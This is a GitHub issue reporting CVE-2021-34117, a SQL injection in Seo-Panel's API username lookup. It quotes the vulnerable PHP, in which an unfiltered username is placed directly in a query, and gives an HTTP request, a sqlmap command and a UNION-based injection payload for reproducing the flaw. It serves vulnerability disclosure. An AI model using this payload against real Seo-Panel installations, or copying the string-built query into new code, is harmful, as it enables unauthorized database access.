CVE-2021-34117: SQL Injection Vulnerability in API function (user.api.php) · Issue #219 · seopanel/Seo-Panel

Hi there,

I want to report a SQL Injection Vulnerability in the the current API implementation of Seo-Panel.
In api/user.api.php, the function getUserName directly calls function __checkUserName in controllers/user.ctrl.php file without filtering on variables. Attacker can pass arbitrary string to username variable through $info. This allows injection to the __checkUsername function directly:

getUserName:

function getUserName($info) {
    
                $username = $info['username']; 
                $returnInfo = array();      
                // validate the user ifd and user info
                    if (!empty($username)) {      
                    if ($userInfo = $this->ctrler->__checkUserName($username)) {      
                        $returnInfo['response'] = 'success';
   
                        $returnInfo['result'] = $userInfo;
     
                        return $returnInfo;
    
                    }
      
                }
    
                $returnInfo['response'] = 'Error';      
                $returnInfo['error_msg'] = "Invalid username provided";      
                return  $returnInfo;
            }

__checkUserName:

    function __checkUserName($username){
                $sql = "select id from users where username='$username'";  
                $userInfo = $this->db->select($sql, true);      
                return empty($userInfo['id']) ? false :  $userInfo['id'];      
            }

The above-mentioned vulnerability can be reproduced by sqlmap through a request file injection.txt:

POST /seopanel/api/api.php HTTP/1.1
Host: localhost
Accept: */*
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Connection: close

SP_API_KEY=<key_here>&API_SECRET=<secret>&category=user&action=getUserName&username=spadmin

with sqlmap command: sqlmap -r injection.txt -p ‘username’. A boolean-based blind injection shall work, with payload similar to:
username=123’ UNION ALL SELECT CONCAT(CONCAT(‘abc’,’abc’),’abc’)-- (do note that there’s one space at the end of variable to bypass the original quotation mark).